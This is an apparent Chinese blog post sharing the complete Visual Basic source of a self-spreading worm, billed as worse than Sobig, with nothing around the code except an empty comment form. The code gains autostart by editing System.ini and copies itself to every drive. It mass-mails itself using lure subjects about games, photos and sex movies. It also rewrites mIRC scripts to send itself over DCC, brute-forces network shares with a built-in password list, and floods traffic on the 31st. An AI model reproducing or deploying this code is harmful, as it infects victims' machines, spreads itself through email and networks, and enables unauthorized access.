用vb写的比sobig更毒的蠕虫病毒!!!

代码如下:

  1. Dim Fso, Wnt, Wol, Wom, Wos, Windir, Winsys, Wincmd, Wintmp, NewFile, OldFile, OutLook, TextBody, Program, EUser, HUser, EPassword, EmailAddress, EmailSubject, EmailBody, EmailPrg
  2. Sub Main()
  3. On Error Resume Next
  4. Dim Server, TmpAddress As String, Start, Last, Start1, Last1
  5. Call Init
  6. Call Copy_To
  7. Call Auto_Run
  8. Call Mail_Worm
  9. For Each Drive In Fso.Drives
  10. Call Sub_Folder(Fso.GetFolder(Drive&"\"))
  11. Next Drive
  12. Let Start = 0
  13. Let Last = 0
  14. Do Until (Last>= Len(EmailAddress))
  15. Let Start = Last + 1
  16. Let Last = InStr(Start, EmailAddress,"*")
  17. If Send_Ok(Mid(EmailAddress, Start, Last - Start)) = True Then
  18. Send_Mail (Mid(EmailAddress, Start, Last - Start))
  19. End If
  20. Loop
  21. Wos.SignOff
  22. Set Wos = Nothing
  23. Set Wom = Nothing
  24. Set Wol = Nothing
  25. Call Net_Work
  26. End Sub
  27. Sub Init()
  28. On Error Resume Next
  29. Dim Tmp
  30. Randomize Minute(Time) + Hour(Time) + Second(Time) + Day(Date)
  31. Set Fso = CreateObject("scripting.filesystemobject")
  32. Set Wnt = CreateObject("wscript.network")
  33. Set Wol = CreateObject("outlook.application")
  34. Let OutLook = True
  35. If Err.Number = 429 Then OutLook = False
  36. Let Windir = Fso.GetSpecialFolder(WindowsFolder)
  37. Let Winsys = Fso.GetSpecialFolder(SystemFolder)
  38. Let Wintmp = Fso.GetSpecialFolder(TemporaryFolder)
  39. Let Wincmd = Windir&"\Command\Ebd"
  40. Let Program = GetExeName
  41. Let EUser ="administrator*admin*master*webmaster*webroot*root*system*"
  42. Let EPassword ="internet*administrator*admin*master*network*webserver*server*root*webmaster*webroot*system*windows*computer*passwd*password*webroot*shell*login*webpage*nopasswd*nopassword*1234*4321*"
  43. End Sub
  44. Function Send_Ok(Address)
  45. On Error Resume Next
  46. Send_Ok = True
  47. If Not Fso.FileExists(Winsys&"\Erifeci.Vxd") Then
  48. Set NewFile = Fso.CreateTextFile(Winsys&"\Erifeci.Vxd")
  49. NewFile.WriteLine"NewFile.WriteLine Address
  50. NewFile.Close
  51. Fso.GetFile(Winsys&"\Erifeci.Vxd").Attributes = 7
  52. Else:
  53. Let TextBody =""
  54. Set OldFile = Fso.OpenTextFile(Winsys&"\Erifeci.Vxd")
  55. Do Until (OldFile.AtEndOfStream)
  56. Let TextBody = TextBody&OldFile.ReadLine&vbCrLf
  57. Loop
  58. OldFile.Close
  59. If InStr(TextBody, Address) Then
  60. Let Send_Ok = False
  61. Else:
  62. Fso.GetFile(Winsys&"\Erifeci.Vxd").Attributes = 0
  63. Set OldFile = Fso.OpenTextFile(Winsys&"\Erifeci.Vxd", 2)
  64. OldFile.Write TextBody
  65. OldFile.WriteLine Address
  66. OldFile.Close
  67. Fso.GetFile(Winsys&"\Erifeci.Vxd").Attributes = 7
  68. End If
  69. End If
  70. End Function
  71. Sub Send_Mail(Address)
  72. On Error Resume Next
  73. Dim Mail, Tmp, User, Server, Start, Last
  74. Let Start = 1
  75. Let Last = InStr(Address,"@")
  76. Let User = Mid(Address, 1, Last - Start)
  77. Let Server = Right(Address, Len(Address) - (Len(User) + 1))
  78. Let Tmp = Int((Rnd * 4) + 1)
  79. Select Case Tmp
  80. Case 1:
  81. Let EmailSubject = User&",How Are You?"
  82. Let EmailBody = EmailSubject&vbCrLf&Space(2)&"If You Like Cool Screen Save,Please Check This Attachment File."&vbCrLf&_
  83. "If You Have Other Cool Screen Save,Please Send To Me!My New E-Mail Address Is:"&"New"&User&"@"&Server&".Thanks!"
  84. Let EmailPrg = Wintmp&"\My-Cool-Screen-Save.Scr"
  85. Case 2:
  86. Let EmailSubject ="This Mail For My"&User&"!"
  87. Let EmailBody ="I Very Like Play Computer Game,Attachment Is Very Well Computer Game.If You Like Play Too Me,Please Check This Attachment File."&vbCrLf&_
  88. "If You Have Other Game,Please Send To Me!My New E-Mail Address Is:"&"New"&User&"@"&Server&".Thanks!"
  89. Let EmailPrg = Wintmp&"\Well-Computer-Game.Exe"
  90. Case 3:
  91. Let EmailSubject = User&",Help Me!"
  92. Let EmailBody ="Please Open Attachment File,You Can See A Photo,But I Dont Know Is Who?Please Help Me!"&vbCrLf&_
  93. "Please Send Your Reply To Me! My New E-Mail Address Is:New"&User&"@"&Server&".Thanks!"
  94. Let EmailPrg = Wintmp&"\Photo.Jpg.Scr"
  95. Case 4:
  96. Let EmailSubject ="Sex Movie For My"&User&"!"
  97. Let EmailBody ="Attachment Is Sex Movie.If You Like,Please Check Attachment File.If You Have Other Sex Movie,Please"&vbCrLf&_
  98. "Dont Forget Me,I Need!Please Send Your Movie To My New E-Mail Address:"&"New"&User&"@"&Server&".Thanks!"
  99. Let EmailPrg = Wintmp&"\Sex-Movie.Exe"
  100. End Select
  101. Fso.CopyFile Winsys&"\Himem.Exe", EmailPrg
  102. If OutLook = True Then
  103. Set Mail = Wol.CreateItem(0)
  104. Mail.Recipients.Add (Address)
  105. Mail.Subject = EmailSubject
  106. Mail.Body = EmailBody
  107. Mail.Attachments.Add (EmailPrg)
  108. Mail.Send
  109. Else:
  110. Wom.Compose
  111. Wom.MsgIndex = -1
  112. Wom.RecipAddress = Address
  113. Wom.MsgSubject = EmailSubject
  114. Wom.MsgNoteText = EmailBody
  115. Wom.AttachmentPathName = EmailPrg
  116. Wom.Send
  117. End If
  118. Set Mail = Nothing
  119. Fso.GetFile(EmailPrg).Attributes = 0
  120. Fso.DeleteFile EmailPrg
  121. End Sub
  122. Sub Mail_Worm()
  123. On Error Resume Next
  124. Dim Times, Mapi, A, Ctrentries
  125. If OutLook = False Then
  126. Set Wom = CreateObject("MSMAPI.MapiMessages")
  127. Set Wos = CreateObject("MSMAPI.MapiSession")
  128. Wos.DownLoadMail = False
  129. Wos.NewSession = False
  130. Wos.LogonUI = True
  131. Wos.SignOn
  132. Wom.SessionID = Wos.SessionID
  133. Wom.FetchSorted = True
  134. Wom.Fetch
  135. For Times = 0 To Wom.MsgCount - 1
  136. Wom.MsgIndex = Times
  137. If Send_Ok(Wom.MsgOrigAddress) = True Then Send_Mail (Wom.MsgOrigAddress)
  138. Next
  139. Else:
  140. Set Mapi = Wol.GetNameSpace("MAPI")
  141. For ctrlists = 1 To Mapi.AddressLists.Count
  142. Set A = Mapi.AddressLists(ctrlists)
  143. For Ctrentries = 1 To A.AddressEntries.Count
  144. If Send_Ok(A.AddressEntries(Ctrentries)) = True Then Send_Mail (A.AddressEntries(Ctrentries))
  145. Next
  146. Next
  147. Set Mapi = Nothing
  148. Set A = Nothing
  149. End If
  150. End Sub
  151. Function GetExeName()
  152. On Error Resume Next
  153. Dim GetReally As Boolean
  154. Let GetReally = False
  155. Do Until (GetReally = True)
  156. If Len(App.Path) = 3 Then
  157. Let FileName = App.Path&LCase(Dir(App.Path&App.EXEName&".*"))
  158. Else:
  159. Let FileName = App.Path&"\"&LCase(Dir(App.Path&"\"&App.EXEName&".*"))
  160. End If
  161. If InStr(FileName,"exe") Or InStr(FileName,"scr") Or InStr(FileName,"pif") Or InStr(FileName,"com") Then
  162. Let TextBody =""
  163. Set OldFile = Fso.OpenTextFile(FileName)
  164. Do Until (OldFile.AtEndOfStream)
  165. Let TextBody = TextBody&OldFile.ReadLine
  166. Loop
  167. OldFile.Close
  168. If Fso.GetFile(FileName).Size = 18944 Then GetReally = True: GetExeName = FileName
  169. End If
  170. Loop
  171. End Function
  172. Sub Copy_To()
  173. On Error Resume Next
  174. If Not Fso.FileExists(Winsys&"\Himem.Exe") Then
  175. Shell Windir&"\Explorer.Exe", vbMaximizedFocus
  176. Fso.CopyFile Program, Winsys&"\Himem.Exe"
  177. Fso.GetFile(Winsys&"\Himem.Exe").Attributes = 7
  178. End If
  179. For Each Drive In Fso.Drives
  180. If Not Fso.FileExists(Drive&"\Sex_Movie.Scr") Then
  181. Fso.CopyFile Program, Drive&"\Sex_Movie.Scr"
  182. Fso.GetFile(Drive&"\Sex_Movie.Scr").Attributes = 5
  183. End If
  184. Next
  185. If Not Fso.FileExists(Wincmd&"\Sex_Movie.Scr") Then
  186. Fso.CopyFile Program, Wincmd&"\Sex_Movie.Scr"
  187. Fso.GetFile(Wincmd&"\Sex_Movie.Scr").Attributes = 5
  188. End If
  189. End Sub
  190. Sub Auto_Run()
  191. On Error Resume Next
  192. Dim Tmp As Integer
  193. TextBody =""
  194. Set OldFile = Fso.OpenTextFile(Windir&"\System.ini")
  195. Do Until (OldFile.AtEndOfStream)
  196. TextBody = TextBody&OldFile.ReadLine&vbCrLf
  197. Loop
  198. OldFile.Close
  199. If InStr(LCase(TextBody),"shell=explorer.exe"&LCase(Winsys)&"\himem.exe") = 0 Then
  200. Let Tmp = Fso.GetFile(Windir&"\System.ini").Attributes
  201. Fso.GetFile(Windir&"\System.ini").Attributes = 0
  202. Set NewFile = Fso.OpenTextFile(Windir&"\System.ini", 2)
  203. NewFile.Write Replace(LCase(TextBody),"shell=explorer.exe","shell=Explorer.exe"&Winsys&"\Himem.exe")
  204. NewFile.Close
  205. Fso.GetFile(Windir&"\System.ini").Attributes = Tmp
  206. End If
  207. End Sub
  208. Sub Sub_Folder(SubFolder)
  209. On Error Resume Next
  210. For Each File In SubFolder.Files
  211. Call Sub_File(File)
  212. Next File
  213. For Each Folder In SubFolder.SubFolders
  214. Call Sub_Folder(Folder)
  215. Next Folder
  216. End Sub
  217. Sub Sub_File(File)
  218. On Error Resume Next
  219. Dim ExtName, Mirc, Address, Start, Last, Times, NoLetter
  220. Let ExtName = LCase(Fso.GetExtensionName(File.Path))
  221. If LCase(File.Name) ="mirc.ini"And InStr(LCase(File.Path),"\mirc") Then
  222. Let Mirc = Fso.GetParentFolderName(File.Path)
  223. Fso.GetFile(Mirc&"\Script.ini").Attributes = 0
  224. Set NewFile = Fso.CreateTextFile(Mirc&"\Script.ini", True)
  225. NewFile.WriteLine";PostMaster.Exe V1.0 MadeIn:CHINA"
  226. NewFile.WriteLine";Good Wish For You!!!"
  227. NewFile.WriteLine"n0=on 1:JOIN:#:{"
  228. NewFile.WriteLine"n1= /if ( $nick == $me ) { halt }"
  229. NewFile.WriteLine"n2= /.dcc send $nick"&Wincmd&"\Sex_Movie.Scr"
  230. NewFile.WriteLine"n3=}"
  231. NewFile.Close
  232. Fso.GetFile(Mirc&"\Script.ini").Attributes = 7
  233. ElseIf ExtName ="htm"Or ExtName ="html"Or ExtName ="hta"Or _
  234. ExtName ="shtml"Or ExtName ="shtm"Then
  235. TextBody =""
  236. Set OldFile = Fso.OpenTextFile(File.Path)
  237. Do Until (OldFile.AtEndOfStream)
  238. Let TextBody = TextBody&OldFile.ReadLine&vbCrLf
  239. Loop
  240. OldFile.Close
  241. Let Start = 1
  242. Do Until (Start = 0)
  243. Let NoLetter = True
  244. Let Start = InStr(Start, LCase(TextBody),"mailto:")
  245. If Start<>0 Then Start = Start + 7: NoLetter = False
  246. Let Times = Start
  247. Do Until (NoLetter = True)
  248. If InStr("abcdefghijklmnopqrstuvwxyz0123456789@._", Mid(TextBody, Times, 1)) = 0 And Times>= Start + 8 Then
  249. Let NoLetter = True
  250. Else:
  251. Let Times = Times + 1
  252. End If
  253. Loop
  254. Let Last = Times
  255. If Start<>0 Then
  256. Let Address = LCase(Mid(TextBody, Start, Last - Start))
  257. If InStr(Address,".com") Or InStr(Address,".net") Or InStr(Address,".edu") Or InStr(Address,".org") Or InStr(Address,".mil") Or InStr(Address,".gov") Then
  258. If Right(Address, 1)<>"."Then
  259. Let EmailAddress = EmailAddress&LTrim(Mid(TextBody, Start, Last - Start))&"*"
  260. Else:
  261. Let EmailAddress = EmailAddress&LTrim(Mid(TextBody, Start, Last - Start - 1))&"*"
  262. End If
  263. End If
  264. Let Start = Start + 1
  265. End If
  266. Loop
  267. ElseIf InStr("docwpscomexelnkpifbmpswfscrwavmpgmp3mp4", EXEName) = 0 Then
  268. Let TextBody =""
  269. Set OldFile = Fso.OpenTextFile(File.Path)
  270. Do Until (OldFile.AtEndOfStream)
  271. Let TextBody = TextBody&OldFile.ReadLine&vbCrLf
  272. Loop
  273. OldFile.Close
  274. Let Start = 1
  275. Do Until (Start = 0)
  276. Let NoLetter = True
  277. Let Start = InStr(Start, LCase(TextBody),"mail:")
  278. If Start<>0 Then Let NoLetter = False: Let Start = Start + 5
  279. Let Times = Start
  280. Do Until (NoLetter = True)
  281. If InStr("abcdefghijklmnopqrstuvwxyz0123456789@._", Mid(TextBody, Times, 1)) = 0 And Times>= Start + 8 Then
  282. Let NoLetter = True
  283. Else:
  284. Let Times = Times + 1
  285. End If
  286. Loop
  287. Let Last = Times
  288. If Start<>0 Then
  289. Let Address = LCase(Mid(TextBody, Start, Last - Start))
  290. If InStr(Address,".com") Or InStr(Address,".net") Or InStr(Address,".edu") Or InStr(Address,".org") Or InStr(Address,".mil") Or InStr(Address,".gov") Then
  291. If Right(Address, 1)<>"."Then
  292. Let EmailAddress = EmailAddress&LTrim(Mid(TextBody, Start, Last - Start))&"*"
  293. Else:
  294. Let EmailAddress = EmailAddress&LTrim(Mid(TextBody, Start, Last - Start - 1))&"*"
  295. End If
  296. End If
  297. Let Start = Start + 1
  298. End If
  299. Loop
  300. End If
  301. End Sub
  302. Sub Net_Work()
  303. On Error Resume Next
  304. Dim IP1, IP2, IP3, IP4, ShareName
  305. If Day(Date) = 31 Then
  306. Do
  307. DoEvents
  308. Form1.Winsock1.SendData"911911911911911911911911911911911911911911911911"&_
  309. "911911911911911911911911911911911911911911911911"&_
  310. "911911911911911911911911911911911911911911911911"&_
  311. "911911911911911911911911911911911911911911911911"&_
  312. "911911911911911911911911911911911911911911911911"&_
  313. "911911911911911911911911911911911911911911911911"&_
  314. "911911911911911911911911911911911911911911911911"&_
  315. "911911911911911911911911911911911911911911911911"&_
  316. "911911911911911911911911911911911911911911911911"&_
  317. "911911911911911911911911911911911911911911911911"&_
  318. "911911911911911911911911911911911911911911911911"&_
  319. "911911911911911911911911911911911911911911911911"&_
  320. "911911911911911911911911911911911911911911911911"
  321. Loop
  322. Else:
  323. Do
  324. Start:
  325. DoEvents
  326. Let IP1 = LTrim(Str(Int((Rnd * 254) + 1)))
  327. Let IP2 = LTrim(Str(Int((Rnd * 254) + 1)))
  328. Let IP3 = LTrim(Str(Int((Rnd * 254) + 1)))
  329. Let IP4 = LTrim(Str(Int((Rnd * 254) + 1)))
  330. ShareName ="\\"&IP1&"."&IP2&"."&IP3&"."&IP4&"\C"
  331. Wnt.MapNetworkDrive"o:", ShareName
  332. If Not Fso.FolderExists("o:\") Then
  333. Call Open_Pass(ShareName)
  334. End If
  335. If Not Fso.FolderExists("o:\") Then GoTo Start
  336. Fso.CopyFile Winsys&"\Himem.Exe","o:\windows\startm~1\programs\startup\ScanReg.Pif", True
  337. Fso.CopyFile Winsys&"\Himem.Exe","o:\Sex_Movie.Scr", True
  338. Fso.CopyFile Winsys&"\Himem.Exe","o:\winnt\startm~1\programs\startup\ScanReg.Pif", True
  339. Fso.CopyFile Winsys&"\Himem.Exe","o:\"&Right(Windir, Len(Windir) - 3)&"\startm~1\programs\startup\ScanReg.Pif", True
  340. Wnt.RemoveNetworkDrive"o:"
  341. Loop
  342. End If
  343. End Sub
  344. Sub Open_Pass(ShareName)
  345. Dim Start, Last, Tmp, Tmp1, Start1, Last1
  346. Let Start = 0
  347. Let Last = 0
  348. Do Until (Last = Len(EUser))
  349. Let Start = Last + 1
  350. Let Last = InStr(Start, EUser,"*")
  351. Let Tmp = Mid(EUser, Start, Last - Start)
  352. Let Start1 = 0
  353. Let Last1 = 0
  354. Do Until (Last1 = Len(EPassword))
  355. Let Start1 = Last1 + 1
  356. Let Last1 = InStr(Start1, EPassword,"*")
  357. Let Tmp1 = Mid(EPassword, Start1, Last1 - Start1)
  358. Wnt.MapNetworkDrive"o:", ShareName, Tmp, Tmp1
  359. If Fso.FolderExists("o:\") Then Exit Sub
  360. Loop
  361. Loop
  362. End Sub

还没有评论,快来抢沙发!

发表评论

  • 😉
  • 😐
  • 😡
  • 😈
  • 😯
  • 😛
  • 😳
  • 😮
  • 😆
  • 💡
  • 😀
  • 👿
  • 😥
  • 😎
  • 😕